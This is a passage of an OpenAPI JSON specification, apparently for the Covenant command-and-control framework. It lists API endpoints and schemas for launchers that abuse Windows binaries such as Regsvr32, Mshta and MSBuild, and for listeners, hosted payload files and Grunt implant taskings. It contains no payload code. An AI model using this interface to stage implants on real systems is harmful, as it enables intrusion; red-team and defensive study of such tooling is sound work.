ags":["Launcher"],"operationId":"ApiLaunchersPowershellPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"powerShellLauncher","in":"body","required":false,"schema":{"$ref":"#/definitions/PowerShellLauncher"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/PowerShellLauncher"}}}},"post":{"tags":["Launcher"],"operationId":"ApiLaunchersPowershellPost","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/PowerShellLauncher"}}}}},"/api/Launchers/powershell/hosted":{"post":{"tags":["Launcher"],"operationId":"ApiLaunchersPowershellHostedPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"hostedFile","in":"body","required":false,"schema":{"$ref":"#/definitions/HostedFile"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/PowerShellLauncher"}}}}},"/api/Launchers/msbuild":{"get":{"tags":["Launcher"],"operationId":"ApiLaunchersMsbuildGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/MSBuildLauncher"}}}},"put":{"tags":["Launcher"],"operationId":"ApiLaunchersMsbuildPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"msbuildLauncher","in":"body","required":false,"schema":{"$ref":"#/definitions/MSBuildLauncher"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/MSBuildLauncher"}}}},"post":{"tags":["Launcher"],"operationId":"ApiLaunchersMsbuildPost","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/MSBuildLauncher"}}}}},"/api/Launchers/msbuild/hosted":{"post":{"tags":["Launcher"],"operationId":"ApiLaunchersMsbuildHostedPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"hostedFile","in":"body","required":false,"schema":{"$ref":"#/definitions/HostedFile"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/MSBuildLauncher"}}}}},"/api/Launchers/installutil":{"get":{"tags":["Launcher"],"operationId":"ApiLaunchersInstallutilGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/InstallUtilLauncher"}}}},"put":{"tags":["Launcher"],"operationId":"ApiLaunchersInstallutilPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"installutilLauncher","in":"body","required":false,"schema":{"$ref":"#/definitions/InstallUtilLauncher"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/InstallUtilLauncher"}}}},"post":{"tags":["Launcher"],"operationId":"ApiLaunchersInstallutilPost","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/InstallUtilLauncher"}}}}},"/api/Launchers/installutil/hosted":{"post":{"tags":["Launcher"],"operationId":"ApiLaunchersInstallutilHostedPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"hostedFile","in":"body","required":false,"schema":{"$ref":"#/definitions/HostedFile"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/InstallUtilLauncher"}}}}},"/api/Launchers/wmic":{"get":{"tags":["Launcher"],"operationId":"ApiLaunchersWmicGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/WmicLauncher"}}}},"put":{"tags":["Launcher"],"operationId":"ApiLaunchersWmicPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"wmicLauncher","in":"body","required":false,"schema":{"$ref":"#/definitions/WmicLauncher"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/WmicLauncher"}}}},"post":{"tags":["Launcher"],"operationId":"ApiLaunchersWmicPost","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/WmicLauncher"}}}}},"/api/Launchers/wmic/hosted":{"post":{"tags":["Launcher"],"operationId":"ApiLaunchersWmicHostedPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"hostedFile","in":"body","required":false,"schema":{"$ref":"#/definitions/HostedFile"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/WmicLauncher"}}}}},"/api/Launchers/regsvr32":{"get":{"tags":["Launcher"],"operationId":"ApiLaunchersRegsvr32Get","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/Regsvr32Launcher"}}}},"put":{"tags":["Launcher"],"operationId":"ApiLaunchersRegsvr32Put","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"regsvr32Launcher","in":"body","required":false,"schema":{"$ref":"#/definitions/Regsvr32Launcher"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/Regsvr32Launcher"}}}},"post":{"tags":["Launcher"],"operationId":"ApiLaunchersRegsvr32Post","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/Regsvr32Launcher"}}}}},"/api/Launchers/regsvr32/hosted":{"post":{"tags":["Launcher"],"operationId":"ApiLaunchersRegsvr32HostedPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"hostedFile","in":"body","required":false,"schema":{"$ref":"#/definitions/HostedFile"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/Regsvr32Launcher"}}}}},"/api/Launchers/mshta":{"get":{"tags":["Launcher"],"operationId":"ApiLaunchersMshtaGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/MshtaLauncher"}}}},"put":{"tags":["Launcher"],"operationId":"ApiLaunchersMshtaPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"mshtaLauncher","in":"body","required":false,"schema":{"$ref":"#/definitions/MshtaLauncher"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/MshtaLauncher"}}}},"post":{"tags":["Launcher"],"operationId":"ApiLaunchersMshtaPost","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/MshtaLauncher"}}}}},"/api/Launchers/mshta/hosted":{"post":{"tags":["Launcher"],"operationId":"ApiLaunchersMshtaHostedPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"hostedFile","in":"body","required":false,"schema":{"$ref":"#/definitions/HostedFile"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/MshtaLauncher"}}}}},"/api/Launchers/cscript":{"get":{"tags":["Launcher"],"operationId":"ApiLaunchersCscriptGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/CscriptLauncher"}}}},"put":{"tags":["Launcher"],"operationId":"ApiLaunchersCscriptPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"cscriptLauncher","in":"body","required":false,"schema":{"$ref":"#/definitions/CscriptLauncher"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/CscriptLauncher"}}}},"post":{"tags":["Launcher"],"operationId":"ApiLaunchersCscriptPost","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/CscriptLauncher"}}}}},"/api/Launchers/cscript/hosted":{"post":{"tags":["Launcher"],"operationId":"ApiLaunchersCscriptHostedPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"hostedFile","in":"body","required":false,"schema":{"$ref":"#/definitions/HostedFile"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/CscriptLauncher"}}}}},"/api/Launchers/wscript":{"get":{"tags":["Launcher"],"operationId":"ApiLaunchersWscriptGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/WscriptLauncher"}}}},"put":{"tags":["Launcher"],"operationId":"ApiLaunchersWscriptPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"wscriptLauncher","in":"body","required":false,"schema":{"$ref":"#/definitions/WscriptLauncher"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/WscriptLauncher"}}}},"post":{"tags":["Launcher"],"operationId":"ApiLaunchersWscriptPost","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/WscriptLauncher"}}}}},"/api/Launchers/wscript/hosted":{"post":{"tags":["Launcher"],"operationId":"ApiLaunchersWscriptHostedPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"hostedFile","in":"body","required":false,"schema":{"$ref":"#/definitions/HostedFile"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/WscriptLauncher"}}}}},"/api/Listeners/types":{"get":{"tags":["Listener"],"operationId":"ApiListenersTypesGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/ListenerType"}}}}}},"/api/Listeners/types/{id}":{"get":{"tags":["Listener"],"operationId":"ApiListenersTypesByIdGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/ListenerType"}}}}},"/api/Listeners":{"get":{"tags":["Listener"],"operationId":"ApiListenersGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/Listener"}}}}},"put":{"tags":["Listener"],"operationId":"ApiListenersPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"listener","in":"body","required":false,"schema":{"$ref":"#/definitions/Listener"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/Listener"}}}}},"/api/Listeners/{id}":{"get":{"tags":["Listener"],"operationId":"ApiListenersByIdGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/Listener"}}}},"delete":{"tags":["Listener"],"operationId":"ApiListenersByIdDelete","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/Listener"}}}}},"/api/Listeners/http/{id}":{"get":{"tags":["Listener"],"operationId":"ApiListenersHttpByIdGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/HttpListener"}}}}},"/api/Listeners/http":{"put":{"tags":["Listener"],"operationId":"ApiListenersHttpPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"httpListener","in":"body","required":false,"schema":{"$ref":"#/definitions/HttpListener"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/HttpListener"}}}},"post":{"tags":["Listener"],"operationId":"ApiListenersHttpPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"listener","in":"body","required":false,"schema":{"$ref":"#/definitions/HttpListener"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/HttpListener"}}}}},"/api/Listeners/{id}/hostedfiles":{"get":{"tags":["Listener"],"operationId":"ApiListenersByIdHostedfilesGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/HostedFile"}}}}},"post":{"tags":["Listener"],"operationId":"ApiListenersByIdHostedfilesPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"},{"name":"hostFileRequest","in":"body","required":false,"schema":{"$ref":"#/definitions/HostedFile"}}],"responses":{"201":{"description":"Success","schema":{"$ref":"#/definitions/HostedFile"}}}}},"/api/Listeners/{id}/hostedfiles/{hfid}":{"get":{"tags":["Listener"],"operationId":"ApiListenersByIdHostedfilesByHfidGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"},{"name":"hfid","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/HostedFile"}}}},"put":{"tags":["Listener"],"operationId":"ApiListenersByIdHostedfilesByHfidPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"},{"name":"hfid","in":"path","required":true,"type":"integer","format":"int32"},{"name":"hostedFile","in":"body","required":false,"schema":{"$ref":"#/definitions/HostedFile"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/HostedFile"}}}},"delete":{"tags":["Listener"],"operationId":"ApiListenersByIdHostedfilesByHfidDelete","consumes":[],"produces":[],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"},{"name":"hfid","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"204":{"description":"Success"}}}},"/api/Listeners/{id}/profile":{"get":{"tags":["Listener"],"operationId":"ApiListenersByIdProfileGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/HttpProfile"}}}}},"/api/Profiles":{"get":{"tags":["Profile"],"operationId":"ApiProfilesGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/Profile"}}}}},"put":{"tags":["Profile"],"operationId":"ApiProfilesPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"profile","in":"body","required":false,"schema":{"$ref":"#/definitions/Profile"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/Profile"}}}},"post":{"tags":["Profile"],"operationId":"ApiProfilesPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"profile","in":"body","required":false,"schema":{"$ref":"#/definitions/Profile"}}],"responses":{"201":{"description":"Success","schema":{"$ref":"#/definitions/Profile"}}}}},"/api/Profiles/{id}":{"get":{"tags":["Profile"],"operationId":"ApiProfilesByIdGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/Profile"}}}},"delete":{"tags":["Profile"],"operationId":"ApiProfilesByIdDelete","consumes":[],"produces":[],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"204":{"description":"Success"}}}},"/api/Profiles/http":{"get":{"tags":["Profile"],"operationId":"ApiProfilesHttpGet","consumes":[],"produces":["text/plain","application/json","text/json"],"responses":{"200":{"description":"Success","schema":{"type":"array","items":{"$ref":"#/definitions/HttpProfile"}}}}},"put":{"tags":["Profile"],"operationId":"ApiProfilesHttpPut","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"profile","in":"body","required":false,"schema":{"$ref":"#/definitions/HttpProfile"}}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/Profile"}}}},"post":{"tags":["Profile"],"operationId":"ApiProfilesHttpPost","consumes":["application/json-patch+json","application/json","text/json","application/*+json"],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"profile","in":"body","required":false,"schema":{"$ref":"#/definitions/HttpProfile"}}],"responses":{"201":{"description":"Success","schema":{"$ref":"#/definitions/HttpProfile"}}}}},"/api/Profiles/http/{id}":{"get":{"tags":["Profile"],"operationId":"ApiProfilesHttpByIdGet","consumes":[],"produces":["text/plain","application/json","text/json"],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"200":{"description":"Success","schema":{"$ref":"#/definitions/HttpProfile"}}}},"delete":{"tags":["Profile"],"operationId":"ApiProfilesHttpByIdDelete","consumes":[],"produces":[],"parameters":[{"name":"id","in":"path","required":true,"type":"integer","format":"int32"}],"responses":{"204":{"description":"Success"}}}}},"definitions":{"CovenantUser":{"type":"object","properties":{"id":{"type":"string"},"userName":{"type":"string"},"normalizedUserName":{"type":"string"},"email":{"type":"string"},"normalizedEmail":{"type":"string"},"emailConfirmed":{"type":"boolean"},"passwordHash":{"type":"string"},"securityStamp":{"type":"string"},"concurrencyStamp":{"type":"string"},"phoneNumber":{"type":"string"},"phoneNumberConfirmed":{"type":"boolean"},"twoFactorEnabled":{"type":"boolean"},"lockoutEnd":{"format":"date-time","type":"string"},"lockoutEnabled":{"type":"boolean"},"accessFailedCount":{"format":"int32","type":"integer"}}},"CovenantUserLogin":{"type":"object","properties":{"userName":{"type":"string"},"password":{"type":"string"}}},"CovenantUserLoginResult":{"type":"object","properties":{"success":{"type":"boolean"},"token":{"type":"string"}}},"IdentityUserRole[String]":{"type":"object","properties":{"userId":{"type":"string"},"roleId":{"type":"string"}}},"IdentityRole":{"type":"object","properties":{"id":{"type":"string"},"name":{"type":"string"},"normalizedName":{"type":"string"},"concurrencyStamp":{"type":"string"}}},"Event":{"type":"object","properties":{"id":{"format":"int32","type":"integer"},"time":{"format":"date-time","type":"string"},"message":{"type":"string"},"level":{"$ref":"#/definitions/EventLevel"},"type":{"$ref":"#/definitions/EventType"},"context":{"type":"string"}}},"EventLevel":{"enum":["Silent","Info","Warning","Highlight","Error"],"type":"string","x-ms-enum":{"name":"EventLevel","modelAsString":false}},"EventType":{"enum":["Normal","Download"],"type":"string","x-ms-enum":{"name":"EventType","modelAsString":false}},"DownloadEvent":{"type":"object","properties":{"fileName":{"type":"string"},"fileContents":{"type":"string"},"progress":{"$ref":"#/definitions/DownloadProgress"},"id":{"format":"int32","type":"integer"},"time":{"format":"date-time","type":"string"},"message":{"type":"string"},"level":{"$ref":"#/definitions/EventLevel"},"type":{"$ref":"#/definitions/EventType"},"context":{"type":"string"}}},"DownloadProgress":{"enum":["Portion","Complete"],"type":"string","x-ms-enum":{"name":"DownloadProgress","modelAsString":false}},"Grunt":{"type":"object","properties":{"id":{"format":"int32","type":"integer"},"name":{"type":"string"},"dotNetFrameworkVersion":{"$ref":"#/definitions/DotNetVersion"},"listenerId":{"format":"int32","type":"integer"},"covenantIPAddress":{"type":"string"},"delay":{"format":"int32","type":"integer"},"jitter":{"format":"int32","type":"integer"},"connectAttempts":{"format":"int32","type":"integer"},"lastCheckIn":{"type":"string"},"status":{"$ref":"#/definitions/GruntStatus"},"integrity":{"$ref":"#/definitions/IntegrityLevel"},"process":{"type":"string"},"userDomainName":{"type":"string"},"userName":{"type":"string"},"ipAddress":{"type":"string"},"operatingSystem":{"type":"string"},"gruntSharedSecretPassword":{"type":"string"},"gruntRSAPublicKey":{"type":"string"},"gruntNegotiatedSessionKey":{"type":"string"},"gruntChallenge":{"type":"string"},"cookieAuthKey":{"type":"string"}}},"DotNetVersion":{"enum":["Net40","Net35","NetCore21"],"type":"string","x-ms-enum":{"name":"DotNetVersion","modelAsString":false}},"GruntStatus":{"enum":["Uninitialized","Stage0","Stage1","Stage2","Active","Lost","Killed"],"type":"string","x-ms-enum":{"name":"GruntStatus","modelAsString":false}},"IntegrityLevel":{"enum":["Untrusted","Low","Medium","High","System"],"type":"string","x-ms-enum":{"name":"IntegrityLevel","modelAsString":false}},"GruntTask":{"type":"object","properties":{"id":{"format":"int32","type":"integer"},"name":{"type":"string"},"description":{"type":"string"},"referenceAssemblies":{"type":"string"},"options":{"type":"array","items":{"$ref":"#/definitions/GruntTaskOption"}},"code":{"type":"string"}}},"GruntTaskOption":{"type":"object","properties":{"id":{"format":"int32","type":"integer"},"taskId":{"format":"int32","type":"integer"},"optionId":{"format":"int32","type":"integer"},"name":{"type":"string"},"description":{"type":"string"},"value":{"type":"string"}}},"GruntTasking":{"type":"object","properties":{"id":{"format":"int32","type":"integer"},"name":{"type":"string"},"taskId":{"format":"int32","type":"integer"},"gruntId":{"format":"int32","type":"integer"},"status":{"$ref":"#/definitions/GruntTaskingStatus"},"type":{"$ref":"#/definitions/GruntTaskingType"},"gruntTaskOutput":{"type":"string"},"taskingMessage":{"$ref":"#/definitions/GruntTaskingMessage","readOnly":true},"gruntTaskingAssembly":{"type":"string","readOnly":true},"setType":{"$ref":"#/definitions/GruntSetTaskingType"},"value":{"type":"string"}}},"GruntTaskingStatus":{"enum":["Uninitialized","Tasked","Progressed","Completed"],"type":"string","x-ms-enum":{"name":"GruntTaskingStatus","modelAsString":false}},"GruntTaskingType":{"enum":["Assembly","Set","Kill"],"type":"string","x-ms-enum":{"name":"GruntTaskingType","modelAsString":false}},"GruntSetTaskingType":{"enum":["Delay","Jitter","ConnectAttempts"],"type":"string","x-ms-enum":{"name":"GruntSetTaskingType","modelAsString":false}},"GruntTaskingMessage":{"type":"object","properties":{"type":{"$ref":"#/definitions/GruntTaskingType"},"name":{"type":"string"},"message":{"type":"string"}}},"Indicator":{"type":"object","properties":{"id":{"format":"int32","type":"integer"},"name":{"type":"string"}}},"FileIndicator":{"type":"object","properties":{"fileName":{"type":"string"},"filePath":{"type":"string"},"shA2":{"type":"string"},"shA1":{"type":"string"},"mD5":{"type":"string"},"id":{"format":"int32","type":"integer"},"name":{"type":"string"}}},"NetworkIndicator":{"type":"object","properties":{"protocol":{"type":"string"},"domain":{"type":"string"},"ipAddress":{"type":"string"},"port":{"format":"int32","type":"integer"},"uri":{"type":"string"},"id":{"format":"int32","type":"integer"},"name":{"type":"string"}}},"TargetIndicator":{"type":"object","properties":{"computerName":{"type":"string"},"userName":{"type":"string"},"id":{"format":"int32","type":"integer"},"name":{"type":"string"}}},"Launcher":{"type":"object","properties":{"id":{"format":"int32","type":"integer"},"listenerId":{"format":"int32","type":"integer"},"dotNetFrameworkVersion":{"$ref":"#/definitions/DotNetVersion"},"launcherString":{"type":"string"},"type":{"$ref":"#/definitions/LauncherType"},"name":{"type":"string"},"description":{"type":"string"},"delay":{"format":"int32","type":"integer"},"jitter":{"format":"int32","type":"integer"},"connectAttempts":{"format":"int32","type":"integer"},"stagerCode":{"type":"string"},"base64ILByteString":{"type":"string"}}},"LauncherType":{"enum":["Wmic","Regsvr32","Mshta","Cscript","Wscript","PowerShell","Binary","MSBuild","InstallUtil"],"type":"string","x-ms-enum":{"name":"LauncherType","modelAsString":false}},"BinaryLauncher":{"type":"object","properties":{"id":{"format":"int32","type":"integer"},"listenerId":{"format":"int32","type":"integer"},"dotNetFrameworkVersion":{"$ref":"#/definitions/DotNetVersion"},"launcherString":{"type":"string"},"type":{"$ref":"#/definitions/LauncherType"},"name":{"type":"string"},"description":{"type":"string"},"delay":{"format":"int32","type":"integer"},"jitter":{"format":"int32","type":"integer"},"connectAttempts":{"format":"int32","type":"integer"},"stagerCode":{"type":"string"},"base64ILByteString":{"type":"string"}}},"HostedFile":{"type":"object","properties":{"id":{"format":"int32","type":"integer"},"listenerId":{"format":"int32","type":"integer"},"path":{"type":"string"},"content":{"type":"string"}}},"PowerShellLauncher":{"type":"object","properties":{"parameterString":{"type":"string"},"powerShellCode":{"type":"string"},"encodedLauncherString":{"type":"string"},"id":{"format":"int32","type":"integer"},"listenerId":{"format":"int32","type":"integer"},"dotNetFrameworkVersion":{"$ref":"#/definitions/DotNetVersion"},"launcherString":{"type":"string"},"type":{"$ref":"#/definitions/LauncherType"},"name":{"type":"string"},"description":{"type":"string"},"delay":{"format":"int32","type":"integer"},"jitter":{"format":"int32","type":"integer"},"connectAttempts":{"format":"int32","type":"integer"},"stagerCode":{"type":"string"},"base64ILByteString":{"type":"string"}}},"MSBuildLauncher":{"type":"object","properties":{"targetName":{"type":"string"},"taskName":{"type":"string"},"diskCode":{"type":"string"},"id":{"format":"int32","type":"integer"},"listenerId":{"format":"int32","type":"integer"},"dotNetFrameworkVersion":{"$ref":"#/definitions/DotNetVersion"},"launcherString":{"type":"string"},"type":{"$ref":"#/definitions/LauncherType"},"name":{"type":"string"},"description":{"type":"string"},"delay":{"format":"int32","type":"integer"},"jitter":{"format":"int32","type":"integer"},"connectAttempts":{"format":"int32","type":"integer"},"stagerCode":{"type":"string"},"base64ILByteString":{"type":"string"}}},"InstallUtilLauncher":{"type":"object","properties":{"diskCode":{"type":"string"},"id":{"format":"int32","type":"integer"},"listenerId":{"format":"int32","type":"integer"},"dotNetFrameworkVersion":{"$ref":"#/definitions/DotNetVersion"},"launcherString":{"type":"string"},"type":{"$ref":"#/definitions/LauncherType"},"name":{"type":"string"},"description":{"type":"string"},"delay":{"format":"int32","type":"integer"},"jitter":{"format":"int32","type":"integer"},"connectAttempts":{"format":"int32","type":"integer"},"stagerCode":{"type":"string"},"base64ILByteString":{"type":"string"}}},"WmicLauncher":{"type":"object","properties":{"scriptLanguage":{"$ref":"#/definitions/ScriptingLanguage"},"progId":{"type":"string"},"diskCode":{"type":"string"},"id":{"format":"int32","type":"integer"},"listenerId":{"format":"int32","type":"integer"},"dotNetFrameworkVersion":{"$ref":"#/definitions/DotNetVersion"},"launcherString":{"type":"string"},"type":{"$ref":"#/definitions/LauncherType"},"name":{"type":"string"},"description":{"type":"string"},"delay":{"format":"int32","type":"integer"},"jitter":{"format":"int32","type":"integer"},"connectAttempts":{"format":"int32","type":"integer"},"stagerCode":{"type":"string"},"base64ILByteString":{"type":"string"}}},"ScriptingLanguage":{"enum":["JScript","VBScript"],"type":"string","x-ms-enum":{"name":"ScriptingLanguage","modelAsString":false}},"Regsvr32Launcher":{"type":"object","properties":{"parameterString":{"type":"string"},"dllName":{"type":"string"},"scriptLanguage":{"$ref":"#/definitions/ScriptingLanguage"},"progId":{"type":"string"},"diskCode":{"type":"string"},"id":{"format":"int32","type":"integer"},"listenerId":{"format":"int32","type":"integer"},"dotNetFrameworkVersion":{"$ref":"#/definitions/DotNetVersion"},"launcherString":{"type":"string"},"type":{"$ref":"#/definitions/LauncherType"},"name":{"type":"string"},"description":{"type":"string"},"delay":{"format":"int32","type":"integer"},"jitter":{"format":"int32","type":"integer"},"connectAttempts":{"format":"int32","type":"integer"},"stagerCode":{"type":"string"},"base64ILByteString":{"type":"string"}}},"MshtaLauncher":{"type":"object","properties":{"scriptLanguage":{"$ref":"#/definitions/ScriptingLanguage"},"progId":{"type":"string"},"diskCode":{"type":"string"},"id":{"format":"int32","type":"integer"},"listenerId":{"format":"int32","type":"integer"},"dotNetFrameworkVersion":{"$ref":"#/definitions/DotNetVersion"},"launcherString":{"type":"string"},"type":{"$ref":"#/definitions/LauncherType"},"name":{"type":"string"},"description":{"type":"string"},"delay":{"format":"int32","type":"integer"},"jitter":{"format":"int32","type":"integer"},"connectAttempts":{"format":"int32","type":"integer"},"stagerCode":{"type":"string"},"base64ILByteString":{"type":"string"}}},"CscriptLauncher":{"type":"object","properties":{"scriptLanguage":{"$ref":"#/definitions/ScriptingLanguage"},"progId":{"type":"string"},"diskCode":{"type":"string"},"id":{"format":"int32","type":"integer"},"listenerId":{"format":"int32","type":"integer"},"dotNetFrameworkVersion":{"$ref":"#/definitions/DotNetVersion"},"launcherString":{"type":"string"},"type":{"$ref":"#/definitions/LauncherType"},"name":{"type":"string"},"description":{"type":"string"},"delay":{"format":"int32","type":"integer"},"jitter":{"format":"int32","type":"integer"},"connectAttempts":{"format":"int32","type":"integer"},"stagerCode":{"type":"string"},"base64ILByteString":{"type":"string"}}},"WscriptLauncher":{"type":"object","properties":{"scriptLanguage":{"$ref":"#/definitions/ScriptingLanguage"},"progId":{"type":"string"},"diskCode":{"type":"string"},"id":{"format":"int32","type":"integer"},"listenerId":{"format":"int32","type":"integer"},"dotNetFrameworkVersion":{"$ref":"#/definitions/DotNetVersion"},"launcherString":{"type":"string"},"type":{"$ref":"#/definitions/LauncherType"},"name":{"type":"string"},"description":{"type":"string"},"delay":{"format":"int32","type":"integer"},"jitter":{"format":"int32","type":"integer"},"connectAttempts":{"format":"int32","type":"integer"},"stagerCode":{"type":"string"},"base64ILByteString":{"type":"string"}}},"ListenerType":{"type":"object","properties":{"id":{"format":"int32","type":"integer"},"name":{"type":"string"},"description":{"type":"string"}}},"Listener":{"type":"object","properties":{"id":{"format":"int32","type":"integer"},"profileId":{"format":"int32","type":"integer"},"name":{"type":"string"},"description":{"type":"string"},"bindAddress":{"type":"string"},"bindPort":{"format":"int32","type":"integer"},"connectAddress":{"type":"string"},"listenerTypeId":{"format":"int32","type":"integer"},"status":{"$ref":"#/definitions/ListenerStatus"},"covenantToken":{